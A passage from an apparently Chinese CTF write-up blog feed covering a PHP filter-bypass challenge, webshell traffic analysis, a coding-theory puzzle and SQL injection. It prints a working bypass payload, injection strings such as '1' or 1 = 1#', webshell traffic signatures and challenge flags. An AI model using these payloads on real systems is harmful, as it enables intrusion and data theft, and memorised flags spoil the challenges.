class="variable">$data</span>[<span class="variable">$i</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">array_search</span>(<span class="string">&quot;Probius&quot;</span>,<span class="variable">$data</span>)===<span class="number">0</span>)</span><br><span class="line">        <span class="variable">$week_2</span> = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$week_1</span> &amp;&amp; <span class="variable">$week_2</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$data</span>)===<span class="title function_ invoke__">md5</span>(<span class="variable">$verify</span>))</span><br><span class="line">        <span class="comment">// ‮⁦HNCTF⁩⁦Welcome to</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;hn&quot;</span> == <span class="variable">$_GET</span>[<span class="string">&#x27;hn&#x27;</span>] &amp;‮⁦+!!⁩⁦&amp; <span class="string">&quot;‮⁦ Flag!⁩⁦ctf&quot;</span> == <span class="variable">$_GET</span>[‮⁦LAG⁩⁦ctf]) &#123; <span class="comment">//HN! flag!! F</span></span><br><span class="line">        </span><br><span class="line">            <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/php|\fl4g|\\$|&#x27;|\&quot;/i&quot;</span>,<span class="variable">$want</span>)Or <span class="title function_ invoke__">is_file</span>(<span class="variable">$want</span>))</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">       </span><br><span class="line">                <span class="keyword">else</span>&#123;</span><br><span class="line">                    <span class="keyword">echo</span> <span class="string">&quot;Fine!you win&quot;</span>;</span><br><span class="line">                    <span class="title function_ invoke__">system</span>(<span class="string">&quot;cat ./<span class="subst">$want</span>&quot;</span>);</span><br><span class="line">                 &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span> </span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="variable">$user</span> == <span class="number">114514</span> &amp;&amp; <span class="variable">$getpass</span> == <span class="variable">$pass</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">ctype_alpha</span>(<span class="variable">$getmySaid</span>)) </span><br><span class="line">        <span class="keyword">die</span>();</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$getmyHeart</span>)) </span><br><span class="line">        <span class="keyword">die</span>();</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$getmySaid</span>) != <span class="title function_ invoke__">md5</span>(<span class="variable">$getmyHeart</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Cheater!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="variable">$week_1</span> = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><code>$_GET[&#39;user&#39;]</code> &#x3D;&#x3D; 114514</li></ol><p>传值user&#x3D;114514</p><ol start="2"><li><p><code> $getpass == $pass</code>直接满足</p></li><li><p><code>$_GET[&#39;mySaid&#39;]</code>仅由字母组成（A–Z &#x2F; a–z）</p></li><li><p><code>$_GET[&#39;myHeart&#39;]</code> 是数字或能被当作数字的字符串</p></li><li><p><code>$_GET[&#39;mySaid&#39;]</code> 和<code>$_GET[&#39;myHeart&#39;]</code>md5值相同</p></li></ol><p>传值mySaid&#x3D;QNKCDZO&amp;myHeart&#x3D;240610708</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">is_array</span>(<span class="variable">$data</span>))&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span>&lt;<span class="title function_ invoke__">count</span>(<span class="variable">$data</span>);<span class="variable">$i</span>++)&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$data</span>[<span class="variable">$i</span>]===<span class="string">&quot;Probius&quot;</span>) <span class="keyword">exit</span>();</span><br><span class="line"></span><br><span class="line">        <span class="variable">$data</span>[<span class="variable">$i</span>]=<span class="title function_ invoke__">intval</span>(<span class="variable">$data</span>[<span class="variable">$i</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">array_search</span>(<span class="string">&quot;Probius&quot;</span>,<span class="variable">$data</span>)===<span class="number">0</span>)</span><br><span class="line">        <span class="variable">$week_2</span> = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="6"><li><code>$_POST[&#39;data&#39;]</code>是数组</li></ol><p>循环作用是遍历数组，如果遇到某一个键值为<code>Probius </code>就exit()</p><p>但是只有 <code>array_search(&quot;Probius&quot;,$data)===0 </code>才能使 week_2为true</p><p><code>array_search</code>作用：在数组中搜索键值 “Probius”，并返回它的键名</p><p>所以我们传入data[0]&#x3D;probius 绕过。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="variable">$week_1</span> &amp;&amp; <span class="variable">$week_2</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$data</span>)===<span class="title function_ invoke__">md5</span>(<span class="variable">$verify</span>))</span><br><span class="line">        <span class="comment">// ‮⁦HNCTF⁩⁦Welcome to</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;hn&quot;</span> == <span class="variable">$_GET</span>[<span class="string">&#x27;hn&#x27;</span>] &amp;‮⁦+!!⁩⁦&amp; <span class="string">&quot;‮⁦ Flag!⁩⁦ctf&quot;</span> == <span class="variable">$_GET</span>[‮⁦LAG⁩⁦ctf]) &#123; <span class="comment">//HN! flag!! F</span></span><br><span class="line">        </span><br><span class="line">            <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/php|\fl4g|\\$|&#x27;|\&quot;/i&quot;</span>,<span class="variable">$want</span>)Or <span class="title function_ invoke__">is_file</span>(<span class="variable">$want</span>))</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">       </span><br><span class="line">                <span class="keyword">else</span>&#123;</span><br><span class="line">                    <span class="keyword">echo</span> <span class="string">&quot;Fine!you win&quot;</span>;</span><br><span class="line">                    <span class="title function_ invoke__">system</span>(<span class="string">&quot;cat ./<span class="subst">$want</span>&quot;</span>);</span><br><span class="line">                 &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;HACK!&quot;</span>);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><ol start="7"><li>要求<code>md5($data)===md5($verify)</code>因为<code>$data</code>是数组，我们传入<code>$_POST[&#39;verify&#39;]</code>也是数组即可。</li><li><code>$_POST[&#39;want&#39;]</code>是我们要访问的文件名，但是不能匹配到正则<code>&quot;/php|\fl4g|\\$|&#39;|\&quot;/i&quot;</code>。</li></ol><p>传参一直没回显看wp这两行是有零宽字符的<img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021210352632-1761054510816-9.png" alt="image-20251021210352632"></p><p>其实能注意到单独选取这两行的话有点奇怪</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021210509084-1761054509042-7.png" alt="image-20251021210509084"></p><p>提取0宽字符的方法是复制到010里打开。(其实直接把代码丢给AI也能发现异常)</p><p>截图展示一下两种方式</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021210735988-1761054492556-5.png" alt="image-20251021210735988"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021211734102-1761054488546-3.png" alt="image-20251021211734102"></p><ol start="9"><li>然后就是传<code>hn</code>和<code>ctf</code>要把0宽字符也复制下来。</li></ol><p>按照以上九点传参</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021214652075-1761054484827-1.png" alt="image-20251021214652075"></p><p>payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">GET:</span><br><span class="line">?user=114514&amp;pass=d&amp;mySaid=TUFEPMC&amp;myHeart=1586264293&amp;hn=hn&amp;%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf</span><br><span class="line"></span><br><span class="line">POST:</span><br><span class="line">data[]=0&amp;verify[]=3&amp;want=f*</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/21/HNCTF-2022-WEEK3-Fun-php/</id>
    <link href="https://everythingis-ok.github.io/2025/10/21/HNCTF-2022-WEEK3-Fun-php/"/>
    <published>2025-10-21T13:49:50.000Z</published>
    <summary>
      <![CDATA[<h1 id="HNCTF-2022-WEEK3-Fun-php"><a href="#HNCTF-2022-WEEK3-Fun-php" class="headerlink" title="[HNCTF 2022 WEEK3]Fun_php"></a>[HNCTF 2022 W]]>
    </summary>
    <title>[HNCTF 2022 WEEK3]Fun_php</title>
    <updated>2026-05-08T13:13:15.227Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="misc" scheme="https://everythingis-ok.github.io/categories/misc/"/>
    <category term="流量分析" scheme="https://everythingis-ok.github.io/tags/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/"/>
    <content>
      <![CDATA[<h1 id="陇剑杯-2021-webshell（问6）"><a href="#陇剑杯-2021-webshell（问6）" class="headerlink" title="[陇剑杯 2021]webshell（问6）"></a>[陇剑杯 2021]webshell（问6）</h1><p>黑客代理工具的回连服务端IP是_____________。</p><p>追踪</p><p>[^tcp流]: 为什么要追踪TCP流，在网络流量分析中，<code>“追踪 TCP 流”（Follow TCP Stream）</code>能把原本零散的网络数据包还原成一条逻辑上的“会话”，也就是通信双方之间的完整数据交换。TCP 流能揭示攻击手法、命令序列、数据泄露路径。</p><p>，在流38中发现一串十六进制代码，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021133955923.png" alt="image-20251021133955923">这是</p><p>[^蚁剑特征]: 蚁剑的 PHP 端马（默认马）在通信上固定的特征：</p><table><thead><tr><th>特征位置</th><th>内容说明</th></tr></thead><tbody><tr><td><code>@ini_set(&quot;display_errors&quot;,&quot;0&quot;)</code>、<code>@set_time_limit(0)</code></td><td>禁错+不限时，这是几乎所有蚁剑马的开头</td></tr><tr><td><code>asenc()</code> &#x2F; <code>asoutput()</code></td><td>这是蚁剑默认通信输出函数名，分别对应<strong>编码输出</strong>与<strong>HTTP边界分隔输出</strong>，用于分割返回内容</td></tr><tr><td>输出包裹符 <code>&quot;28f72&quot;</code> 与 <code>&quot;f48611f4&quot;</code></td><td>这是蚁剑用来标识返回数据边界的随机常量（每个马略有不同，但形态固定）</td></tr><tr><td>POST 参数名如 <code>j68071301598f</code>、<code>xa5d606e67883a</code></td><td>这些是蚁剑自动生成的随机变量名，典型特征：16位十六进制字符串，常用在蚁剑通信协议中</td></tr><tr><td><code>$f=base64_decode(substr($_POST[&quot;j...&quot;],2))</code></td><td>蚁剑的文件写入&#x2F;命令执行&#x2F;插件操作模块里，都会用“base64解码路径 + 数据分块写入”形式</td></tr><tr><td><code>$buf.=urldecode(&quot;%&quot;.substr(...))</code></td><td>这是蚁剑发送文件内容时对 payload 做的 URL 十六进制编码还原过程（典型）</td></tr><tr><td><code>&quot;ERROR://&quot;</code></td><td>蚁剑的异常输出标识符；客户端看到这个前缀就知道是执行错误</td></tr></tbody></table><p>的数据流 ，将&#x3D;号后面的内容进行base16解码，找到答案。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251021134900099.png" alt="image-20251021134900099"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/21/%E9%99%87%E5%89%91%E6%9D%AF-2021-webshell%EF%BC%88%E9%97%AE6%EF%BC%89/</id>
    <link href="https://everythingis-ok.github.io/2025/10/21/%E9%99%87%E5%89%91%E6%9D%AF-2021-webshell%EF%BC%88%E9%97%AE6%EF%BC%89/"/>
    <published>2025-10-21T05:49:58.000Z</published>
    <summary>
      <![CDATA[<h1 id="陇剑杯-2021-webshell（问6）"><a href="#陇剑杯-2021-webshell（问6）" class="headerlink" title="[陇剑杯 2021]webshell（问6）"></a>[陇剑杯 2021]webshell（问6）]]>
    </summary>
    <title>[陇剑杯 2021]webshell（问6）</title>
    <updated>2026-05-08T13:13:04.342Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="misc" scheme="https://everythingis-ok.github.io/categories/misc/"/>
    <category term="NSSCTF" scheme="https://everythingis-ok.github.io/tags/NSSCTF/"/>
    <content>
      <![CDATA[<h1 id="SUSCTF-2022-Tanner"><a href="#SUSCTF-2022-Tanner" class="headerlink" title="[SUSCTF 2022]Tanner"></a>[SUSCTF 2022]Tanner</h1><p>题目描述中提到:<code>There is a special graph which describe one check matrix, find out where is the hint(maybe in the binary data?) and what is the flag.</code></p><p>我们查看到Png文件结束标志[49 45 4E 44 AE 42 60 82]后有信息信息：<br><code>THE FLAG IS the sha256 of the sum ofthe proper codewords(binary plus)which satisfy the condition.(note: with no zeros front)</code></p><p>意思是flag 是满足条件的所有<strong>合法码字</strong>（按二进制“加法”求和）的 <strong>SHA-256 哈希值</strong>。<br> （注意：结果的二进制数<strong>前面不能有多余的 0</strong>。）</p><p>我们看附件这张图展示的是一种叫 <strong>Tanner graph（坦纳图）</strong> 的结构，用来表示线性分组码（Linear Block Code）中的<strong>校验矩阵（Parity-Check Matrix, H）</strong>。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/Tannergraph.png" alt="Tannergraph"></p><p>方框（f₀–f₄）代表 <strong>校验节点（check nodes）</strong>，<br> 圆圈（c₀–c₉）代表 <strong>比特节点（bit nodes）</strong>。</p><p>每个校验节点对应校验矩阵 H 的一行，每个比特节点对应一列。<br> 有连线表示某个比特在该校验方程中参与异或（XOR）计算。</p><p>也就是说，如果矩阵元素 <code>H[i][j] = 1</code>，就在图中连线<code> fᵢ ↔ cⱼ</code>。<br> 校验条件是：</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">H * cᵀ = <span class="number">0</span>   （<span class="built_in">mod</span> <span class="number">2</span>）</span><br></pre></td></tr></table></figure><p>换句话说，每个 fᵢ 的相连 cⱼ 比特之和 mod 2 必须等于 0。</p><p>什么是“合法码字（proper codeword）”</p><p>一个 <strong>合法码字</strong>（或称“有效码字”）就是一个长度为 n 的二进制向量<br> <code>c = [c₀, c₁, …, c₉]</code>，<br> 它满足上面的校验条件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">H * cᵀ = 0  (mod 2)</span><br></pre></td></tr></table></figure><p>也就是说，所有校验节点的异或结果都为 0。</p><p>这些合法码字构成了这个线性码的<strong>码空间（code space）</strong>。</p><p>根据上述知识得还原矩阵</p><table><thead><tr><th>c0</th><th>c1</th><th>c2</th><th>c3</th><th>c4</th><th>c5</th><th>c6</th><th>c7</th><th>c8</th><th>c9</th><th></th></tr></thead><tbody><tr><td>1</td><td>1</td><td>1</td><td>1</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>f0</td></tr><tr><td>1</td><td>0</td><td>0</td><td>0</td><td>1</td><td>1</td><td>1</td><td>0</td><td>0</td><td>0</td><td>f1</td></tr><tr><td>0</td><td>1</td><td>0</td><td>0</td><td>1</td><td>0</td><td>0</td><td>1</td><td>1</td><td>0</td><td>f2</td></tr><tr><td>0</td><td>0</td><td>1</td><td>0</td><td>0</td><td>1</td><td>0</td><td>1</td><td>0</td><td>1</td><td>f3</td></tr><tr><td>0</td><td>0</td><td>0</td><td>1</td><td>0</td><td>0</td><td>1</td><td>0</td><td>1</td><td>1</td><td>f4</td></tr></tbody></table><p>第二步：根据校验矩阵，可以用脚本还原码字</p><p>脚本来源：<a href="https://blog.csdn.net/weixin_45770420/article/details/124063129">SUSCTF2022misc——Tanner_susctf2022 tanner-CSDN博客</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">Author: Jack Jparrow</span></span><br><span class="line"><span class="string">Date: 2022-02-27 12:01:40</span></span><br><span class="line"><span class="string">LastEditTime: 2022-02-27 12:25:23</span></span><br><span class="line"><span class="string">LastEditors: Jack Jparrow</span></span><br><span class="line"><span class="string">Description: 根据校验矩阵求码字</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line">N = <span class="number">10</span></span><br><span class="line">K = <span class="number">5</span></span><br><span class="line">b = []</span><br><span class="line">H = np.array([[ <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>],</span><br><span class="line">            [ <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>],</span><br><span class="line">            [ <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>],</span><br><span class="line">            [ <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>],</span><br><span class="line">            [ <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>]])</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>**N):</span><br><span class="line">    a = <span class="built_in">format</span>(i, <span class="string">&#x27;b&#x27;</span>)</span><br><span class="line">    b.append(<span class="string">&quot;&#123;:0&gt;10s&#125;&quot;</span>.<span class="built_in">format</span>(a))</span><br><span class="line"></span><br><span class="line">v = np.zeros((<span class="number">2</span>**N, N))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>**N):</span><br><span class="line">    v[i] = b[i]</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(N):</span><br><span class="line">        v[i][j] = b[i][j] <span class="comment"># v是0000000~1111111</span></span><br><span class="line"></span><br><span class="line">w = np.zeros((<span class="number">1</span>, N - K))</span><br><span class="line"><span class="keyword">for</span> o <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>**N):</span><br><span class="line">    <span class="keyword">if</span> np.<span class="built_in">all</span>(np.dot(v[o], H.T) % <span class="number">2</span> == w):</span><br><span class="line">        <span class="built_in">print</span>(v[o])</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>之后依据</p><p><em><strong>flag 是满足条件的所有</strong>合法码字</em><em>（按二进制“加法”求和）的 SHA-256 哈希值。<br> （注意：结果的二进制数**前面不能有多余的 0</em>。）</p><p>对码字稍加处理，只按行留下二进制数值，进行二进制累加求和</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.io.UnsupportedEncodingException;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * @Author: Jack Jparrow</span><br><span class="line"> * @Date: <span class="number">2022</span>-02-<span class="number">27</span> <span class="number">14</span>:<span class="number">14</span>:<span class="number">12</span></span><br><span class="line"> * @LastEditTime: <span class="number">2022</span>-03-04 <span class="number">14</span>:<span class="number">55</span>:<span class="number">39</span></span><br><span class="line"> * @LastEditors: Jack Jparrow</span><br><span class="line"> * @Description: 读文件，求和</span><br><span class="line"> */</span><br><span class="line">public <span class="keyword">class</span> <span class="title class_">Tanner</span> &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        <span class="built_in">int</span> <span class="built_in">sum</span>=<span class="number">0</span>;// 和</span><br><span class="line"></span><br><span class="line">        File myFile = new File(<span class="string">&quot;D:\\Desktop\\res.txt&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            InputStreamReader Reader = new InputStreamReader(new FileInputStream(myFile), <span class="string">&quot;UTF-8&quot;</span>);</span><br><span class="line">            BufferedReader bufferedReader = new BufferedReader(Reader);</span><br><span class="line"></span><br><span class="line">            String lineTxt = null;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">while</span> ((lineTxt = bufferedReader.readLine()) != null) &#123;</span><br><span class="line"></span><br><span class="line">                <span class="built_in">sum</span> += Integer.parseInt(lineTxt, <span class="number">2</span>);// 求和</span><br><span class="line">                </span><br><span class="line">                Reader.close();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            System.out.println(Integer.toBinaryString(<span class="built_in">sum</span>));// 输出结果的二进制形式</span><br><span class="line"></span><br><span class="line">        &#125; catch (UnsupportedEncodingException e) &#123;</span><br><span class="line">            // TODO Auto-generated catch block</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; catch (FileNotFoundException e) &#123;</span><br><span class="line">            // TODO Auto-generated catch block</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; catch (IOException e) &#123;</span><br><span class="line">            // TODO Auto-generated catch block</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>将结果进行sha256加密，加上NSSCTF{}即为flag</p><p>得到的 <code>flag</code> 就是题目要求的：</p><blockquote><p>flag&#x3D;<strong>NSSCTF{c17019990bf57492cddf24f3cc3be588507b2d567934a101d4de2fa6d606b5c1}</strong></p></blockquote>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/20/SUSCTF-2022-Tanner/</id>
    <link href="https://everythingis-ok.github.io/2025/10/20/SUSCTF-2022-Tanner/"/>
    <published>2025-10-20T12:31:53.000Z</published>
    <summary>
      <![CDATA[<h1 id="SUSCTF-2022-Tanner"><a href="#SUSCTF-2022-Tanner" class="headerlink" title="[SUSCTF 2022]Tanner"></a>[SUSCTF 2022]Tanner</h1><p>题目描述]]>
    </summary>
    <title>[SUSCTF 2022]Tanner</title>
    <updated>2026-05-08T13:11:54.660Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="web" scheme="https://everythingis-ok.github.io/categories/web/"/>
    <category term="堆叠注入" scheme="https://everythingis-ok.github.io/tags/%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5/"/>
    <category term="SQL注入" scheme="https://everythingis-ok.github.io/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="报错注入" scheme="https://everythingis-ok.github.io/tags/%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/"/>
    <category term="预编译语句" scheme="https://everythingis-ok.github.io/tags/%E9%A2%84%E7%BC%96%E8%AF%91%E8%AF%AD%E5%8F%A5/"/>
    <category term="更改表名" scheme="https://everythingis-ok.github.io/tags/%E6%9B%B4%E6%94%B9%E8%A1%A8%E5%90%8D/"/>
    <category term="handel语句" scheme="https://everythingis-ok.github.io/tags/handel%E8%AF%AD%E5%8F%A5/"/>
    <content>
      <![CDATA[<h1 id="强网杯-2019-随便注-1【SQL注入】"><a href="#强网杯-2019-随便注-1【SQL注入】" class="headerlink" title="[强网杯 2019]随便注 1【SQL注入】"></a>[强网杯 2019]随便注 1【SQL注入】</h1><p>本文章中标题为个步骤涉及到的方法。</p><h3 id="SQL查询"><a href="#SQL查询" class="headerlink" title="SQL查询"></a>SQL查询</h3><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-19_18-28-50.png" alt="PixPin_2025-10-19_18-28-50"></p><p>第一步，先判断注入点的传参方式，发现是get传参。</p><p>在输入框，随便输入<code>1&#39; or 1 = 1</code>，测试一下是否存在sql注入。</p><p>提交后提示<code>error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#39;&#39;&#39; at line 1</code>，说明后端参数后面有可能存在其他sql语句，我们在1’ or 1 &#x3D; 1后面加一个#，将可能存在的其他sql语句注释掉，即：<code>1&#39; or 1 = 1#</code>，成功输出了该表的所有数据，但是没有flag。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251019183117613.png" alt="image-20251019183117613"></p><p>首先判断一下字段个数：<code>-1&#39; union select 1,2;#</code>，系统提示<code>return preg_match(&quot;/select|update|delete|drop|insert|where|\./i&quot;,$inject);</code></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251019184100891.png" alt="image-20251019184100891"></p><p>可以看到系统把select等关键词都过滤了，我们可以使用堆叠注入的方式来绕过select关键字。</p><h3 id="堆叠注入"><a href="#堆叠注入" class="headerlink" title="堆叠注入"></a>堆叠注入</h3><p>简单介绍一下堆叠注入，<strong>堆叠注入（Stacked Query Injection）</strong>是一种 SQL 注入攻击技术，攻击者通过注入多个 SQL 语句到一个查询中，利用数据库支持堆叠查询的特性（即在同一条查询中执行多个 SQL 语句）来执行恶意操作。这类攻击利用了某些数据库管理系统（DBMS）允许多个 SQL 语句在一个查询中堆叠执行的特性，通常通过分号（;）分隔不同的 SQL 